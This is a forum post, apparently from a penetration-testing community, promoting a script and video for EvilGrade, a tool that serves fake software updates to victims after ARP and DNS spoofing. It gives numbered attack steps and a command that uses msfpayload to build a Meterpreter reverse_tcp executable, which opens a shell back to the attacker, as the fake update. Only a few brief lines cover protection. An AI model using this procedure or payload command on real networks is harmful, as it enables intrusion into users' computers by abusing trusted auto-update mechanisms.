Results 1 to 10 of 28

Thread: [Script][Video] EvilGrade (v0.1.1)

Threaded View

  1. #1
    Moderator g0tmi1k's Avatar
    Join Date
    Feb 2010

    Lightbulb [Script] [Video] evilGrade[v0.1.3].sh

    Watch video on-line:
    Download video:
    Script (evilGrade[v0.1.3].sh): evilGrade[v0.1.3].sh
    Script (evilGrade_install[v0.1.3].sh):

    What is this?
    EvilGrade: "ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates."
    Metasploit: "Evilgrade Will Destroy Us All."

    This is a "semi automate" script to help set-up an environment for EvilGrade so it can work its magic, and then there is a video demonstrating it in action which shows the effects of EvilGrade. EvilGrade is simply, another "option" to do after performing a "Man In The Middle" attack, that tricks certain software to believe there is an update available when really it's the attacker payload.

    How does this work?
    EvilGrade: "It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems.Evilgrade needs the manipulation of the victim dns traffic."

    EvilGrade creates a web server, which when a program's auto-update feature queries back "home" to check for an update, EvilGrade creates a spoofed updated version. The program then notify the target that there is an "update" available, and would they like to update. The danger of this is most users trust the program with the "auto update feature" and download and executes the update, when in reality, this is our payload.

    What do I need?
    > EvilGrade + Any Requirements (Data:ump, Digest::MD5, Time::HiRes)
    > A Payload (I'm using metasploit and SBD)
    > A method of doing a MITM Attack (I'm using arpspoof - part of dsniff suite)
    > A way to spoof DNS (I'm using dnsspoof - part of dsniff suite)
    > evilGrade[v0.1.3].sh (only if you wish for a helping hand to automate a few steps)
    > evilGrade_install[v0.1.3].sh (only if you wish for a helping hand to get this working with BackTrack 4 Final)

    How to use it?1.)Download the script(s)
    2.) Install EvilGrade. (If your lazy use the script!)
    3.)Check to see what interface is going to be used. (via ifconfig)
    4.) Edit evilGrade[v0.1.3].sh (via kate evilGrade\[v0.1.3\].sh) to make it work with your system
    5.) bash evilGrade\[v0.1.3\].sh OR bash evilGrade\[v0.1.3].sh TargetsIP (bash evilGrade\[v0.1.3\].sh
    6.) Pick your which software to attack. (via show modules)
    7.) Pick your "agent" (Which program to insert/inject/replace the update)
    8.) Check any other options (via show options)
    9.) Start
    10.) Wait...
    11.) ...Game Over.

    sh evilGrade_install\[v0.1.3\].sh
    show modules
    kate evilGrade\[v0.1.3\].sh
    bash \[v0.1.3\].sh
    config notepadplus
    set agent '[&quot;/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST= X > <%OUT%>/tmp/g0tmi1k-evilgrade.exe<%OUT%>&quot;]'
    How can I protect myself from this?
    > Don't use the self updating features on software.
    > When prompted about an update, visit the official homepage to download the update.
    > Check the official homepage for a MD5/SHA1 hash.

    The video uses evilGrade[v0.1].sh
    It's worth doing this &quot;manually&quot; (without the script) before using the script, so you have an idea of what's happening, and why. The script is only meant to save time.

    Song: Public Domain - Operation Blade
    Video length: 2:44
    Capture length: 7:59

    Blog Post:
    Forum Post:


    + Added arguments
    + Checks for superuser
    + Checks interfaces/paths/files exists
    > Fix it - Couple of silly typos
    > General code improvements
    > Improved checking the targets IP Address

    + Added debug mode
    + Added custom payload
    + Checks system setup before running
    + Fix gateway bug
    > General code improvements

    + First public release
    Last edited by g0tmi1k; 03-05-2011 at 02:21 PM.
    Have you...g0tmi1k?

Similar Threads

  1. [Script] [Video] metasploit-FakeUpdate (v0.1.1)
    By g0tmi1k in forum BackTrack Videos
    Replies: 30
    Last Post: 12-06-2010, 04:53 PM
  2. [Script] [Video] FakeAP_pwn (v0.2.1)
    By g0tmi1k in forum BackTrack Videos
    Replies: 184
    Last Post: 09-02-2010, 11:01 AM
  3. How To: Evilgrade
    By antichrist in forum OLD BackTrack3 Howtos
    Replies: 12
    Last Post: 12-31-2009, 03:47 AM
  4. Evilgrade help
    By en_snubbe1 in forum OLD General IT Discussion
    Replies: 24
    Last Post: 04-08-2009, 01:28 PM
  5. Evilgrade
    By cr1spyj0nes in forum OLD Newbie Area
    Replies: 0
    Last Post: 04-06-2009, 10:53 AM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts